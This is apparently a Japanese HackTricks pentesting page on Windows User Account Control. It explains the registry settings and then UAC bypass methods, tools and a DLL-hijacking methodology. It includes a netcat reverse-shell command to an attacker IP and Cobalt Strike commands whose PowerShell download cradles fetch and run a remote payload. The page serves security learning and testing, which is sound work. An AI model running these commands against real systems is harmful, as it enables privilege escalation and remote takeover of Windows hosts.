23 KiB
UAC - User Account Control
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをご覧ください
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
Trickestを使用して、世界で最も先進的なコミュニティツールによって動力を供給されるワークフローを簡単に構築し自動化します。 今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
User Account Control (UAC)は、昇格した活動に対する同意プロンプトを有効にする機能です。アプリケーションには異なるintegrity
レベルがあり、高レベルのプログラムはシステムを危険にさらす可能性のあるタスクを実行できます。UACが有効な場合、アプリケーションとタスクは、管理者が明示的にこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセスを許可するまで、常に非管理者アカウントのセキュリティコンテキストの下で実行されます。これは、意図しない変更から管理者を保護する便利な機能ですが、セキュリティ境界とは見なされません。
integrityレベルについての詳細はこちら:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
UACが設置されている場合、管理者ユーザーには2つのトークンが与えられます:通常のアクションを通常レベルで実行するための標準ユーザーキーと、管理者権限を持つものです。
このページでは、UACの動作について詳しく説明しており、ログオンプロセス、ユーザーエクスペリエンス、およびUACアーキテクチャが含まれています。管理者は、ローカルレベルでのセキュリティポリシー(secpol.mscを使用)を使用して、またはActive Directoryドメイン環境でGroup Policy Objects(GPO)を介して設定および展開することによって、組織に特有のUACの動作を構成できます。さまざまな設定についてはこちらで詳しく説明されています。UACには設定できる10のGroup Policy設定があります。以下の表に詳細を示します:
Group Policy設定 | レジストリキー | デフォルト設定 |
---|---|---|
User Account Control: 組み込みAdministratorアカウントのAdmin Approval Mode | FilterAdministratorToken | 無効 |
User Account Control: UIAccessアプリケーションがセキュアデスクトップを使用せずに昇格を促すことを許可する | EnableUIADesktopToggle | 無効 |
User Account Control: Admin Approval Modeの管理者に対する昇格プロンプトの動作 | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める |
User Account Control: 標準ユーザーに対する昇格プロンプトの動作 | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を求める |
User Account Control: アプリケーションのインストールを検出し、昇格を促す | EnableInstallerDetection | 有効(ホームのデフォルト)無効(企業のデフォルト) |
User Account Control: 署名され検証された実行可能ファイルのみを昇格する | ValidateAdminCodeSignatures | 無効 |
User Account Control: セキュアな場所にインストールされたUIAccessアプリケーションのみを昇格する | EnableSecureUIAPaths | 有効 |
User Account Control: すべての管理者をAdmin Approval Modeで実行する | EnableLUA | 有効 |
User Account Control: 昇格を促す際にセキュアデスクトップに切り替える | PromptOnSecureDesktop | 有効 |
User Account Control: ユーザーごとの場所へのファイルおよびレジストリ書き込み失敗を仮想化する | EnableVirtualization | 有効 |
UAC Bypass理論
管理者グループに属するユーザーの場合、一部のプログラムは_Manifests内のautoElevateオプションがTrue_として設定されているため、自動的に自動昇格されます。バイナリはMicrosoftによって署名されている必要があります。
その後、攻撃者はこの種のバイナリを使用して任意のコードを実行することでUACをバイパスします(中レベルのintegrityから高レベルに昇格)。これは、High level integrityプロセスから実行されるためです。
バイナリの_Manifestをチェックするには、Sysinternalsのツールsigcheck.exe_を使用できます。また、プロセスのintegrityレベルを見るには、Process Explorer_または_Process Monitor(Sysinternalsのもの)を使用できます。
UACの確認
UACが有効かどうかを確認するには:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
1
であればUACはアクティブです。0
であるか、存在しない場合は、UACは非アクティブです。
次に、どのレベルが設定されているかを確認します:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
0
の場合、UACはプロンプトを表示しません(無効のように)1
の場合、管理者は高権限でバイナリを実行するためにユーザー名とパスワードを求められます(セキュアデスクトップ上で)2
(常に通知する)の場合、管理者が高権限で何かを実行しようとすると、UACは常に確認を求めます(セキュアデスクトップ上で)3
の場合、1
と同じですが、セキュアデスクトップ上での実行は必要ありません4
の場合、2
と同じですが、セキュアデスクトップ上での実行は必要ありません5
(デフォルト)の場合、管理者はWindows以外のバイナリを高権限で実行する前に確認を求められます
次に、LocalAccountTokenFilterPolicy
の値を確認する必要があります。
値が 0
の場合、RID 500 ユーザー(組み込みの管理者)のみがUACなしで管理タスクを実行できます。値が 1
の場合、"Administrators" グループ内の全アカウントがそれらを実行できます。
最後に、キー FilterAdministratorToken
の値を確認してください。
0
(デフォルト)の場合、組み込みの管理者アカウントはリモート管理タスクを実行でき、1
の場合、組み込みの管理者アカウントは LocalAccountTokenFilterPolicy
が 1
に設定されていない限り、リモート管理タスクを実行できません。
要約
EnableLUA=0
または 存在しない場合、誰にもUACはありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=1
の場合、誰にもUACはありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=0
の場合、RID 500(組み込みの管理者)にはUACはありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=1
の場合、全員にUACがあります
この情報は全て metasploit モジュール:post/windows/gather/win_privs
を使用して収集できます。
また、ユーザーのグループを確認し、整合性レベルを取得することもできます:
net user %username%
whoami /groups | findstr Level
UACバイパス
{% hint style="info" %} グラフィカルアクセスが被害者にある場合、UACバイパスは簡単です。UASプロンプトが表示されたときに「はい」をクリックするだけです。 {% endhint %}
UACバイパスが必要な状況は次のとおりです:UACが有効で、プロセスが中間整合性コンテキストで実行されており、ユーザーが管理者グループに属している場合。
UACが最高セキュリティレベル(Always)にある場合は、他のレベル(Default)にある場合よりもバイパスがはるかに困難であるということを言及することが重要です。
UAC無効
UACが既に無効になっている場合(ConsentPromptBehaviorAdmin
が**0
)、次のようなものを使用して管理者権限でリバースシェルを実行**できます(高整合性レベル):
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
トークン複製によるUACバイパス
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
非常に 基本的なUAC "バイパス"(完全なファイルシステムアクセス)
管理者グループに属するユーザーのシェルを持っている場合、SMB(ファイルシステム)経由でC$をマウントし、新しいディスクにローカルでマウントすると、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダーでさえも)。
{% hint style="warning" %} このトリックはもう機能しないようです {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
Cobalt Strikeを使用したUACバイパス
Cobalt Strikeの技術は、UACが最大のセキュリティレベルに設定されていない場合にのみ機能します
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
EmpireとMetasploitには、UACをバイパスするためのいくつかのモジュールがあります。
KRBUACBypass
ドキュメントとツールはhttps://github.com/wh0amitz/KRBUACBypassにあります。
UAC バイパスのエクスプロイト
UACMEは、いくつかのUACバイパスのエクスプロイトをコンパイルしたものです。Visual Studioまたはmsbuildを使用してUACMEをコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル(例:Source\Akagi\outout\x64\Debug\Akagi.exe
)が作成されますが、どれを必要とするかを知る必要があります。
注意が必要です。なぜなら、いくつかのバイパスは他のプログラムのプロンプトを表示させることがあり、それによってユーザーに何かが起こっていることを警告する可能性があるからです。
UACMEには、各テクニックが機能し始めたビルドバージョンがあります。あなたのバージョンに影響を与えるテクニックを検索できます:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
以下は、Windowsのリリース1607
をビルドバージョンから取得するために使用するこのページです。
より多くのUACバイパス
すべてのここで使用されるUACバイパス技術は、被害者との完全なインタラクティブシェルを必要とします(一般的なnc.exeシェルでは不十分です)。
meterpreterセッションを使用して取得できます。Session値が1に等しいプロセスに移行します:
(_explorer.exe_が機能するはずです)
GUIを使用したUACバイパス
**GUIにアクセスできる場合は、UACプロンプトが表示されたときにそれを受け入れるだけでよく、本当にバイパスする必要はありません。**したがって、GUIへのアクセスを取得することで、UACをバイパスできます。
さらに、誰かが使用していた(おそらくRDP経由で)GUIセッションを取得すると、管理者として実行されているツールがいくつかあり、UACに再度プロンプトされることなく、たとえば管理者として直接cmdを実行できるようになります。https://github.com/oski02/UAC-GUI-Bypass-appverifのようなものです。これは少しステルスかもしれません。
騒々しいブルートフォースUACバイパス
騒がしいことを気にしない場合は、ユーザーがそれを受け入れるまで権限の昇格を求め続けるhttps://github.com/Chainski/ForceAdminのようなものを実行することができます。
独自のバイパス - 基本的なUACバイパス方法論
UACMEを見ると、ほとんどのUACバイパスがDllハイジャックの脆弱性を悪用していることがわかります(主に_C:\Windows\System32_に悪意のあるdllを書き込むことによって)。Dllハイジャックの脆弱性を見つける方法を学ぶには、これを読んでください。
- 自動昇格するバイナリを見つけます(実行されると高い完全性レベルで実行されることを確認します)。
- procmonを使用して、DLLハイジャックに対して脆弱な可能性のある "NAME NOT FOUND" イベントを見つけます。
- 書き込み権限のない保護されたパス(C:\Windows\System32など)にDLLを書き込む必要があるかもしれません。これをバイパスするには:
- wusa.exe:Windows 7,8および8.1。保護されたパス内にCABファイルの内容を抽出することを許可します(このツールは高い完全性レベルから実行されるため)。
- IFileOperation:Windows 10。
- 保護されたパスにDLLをコピーして、脆弱で自動昇格されたバイナリを実行するスクリプトを準備します。
別のUACバイパス技術
自動昇格されたバイナリがレジストリから実行されるバイナリまたはコマンドの名前/パスを読み取ろうとするかどうかを監視することによって成り立っています(バイナリがこの情報をHKCU内で検索する場合、これはより興味深いです)。
世界で最も進んだコミュニティツールを搭載したワークフローを簡単に構築して自動化するためにTrickestを使用します。 今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)で ゼロからヒーローまでAWSハッキングを学ぶ!
HackTricksをサポートする他の方法:
- HackTricksに広告を掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式のPEASS & HackTricksグッズを手に入れましょう。
- The PEASS Familyを発見し、独占的なNFTコレクションをチェックしてください。
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。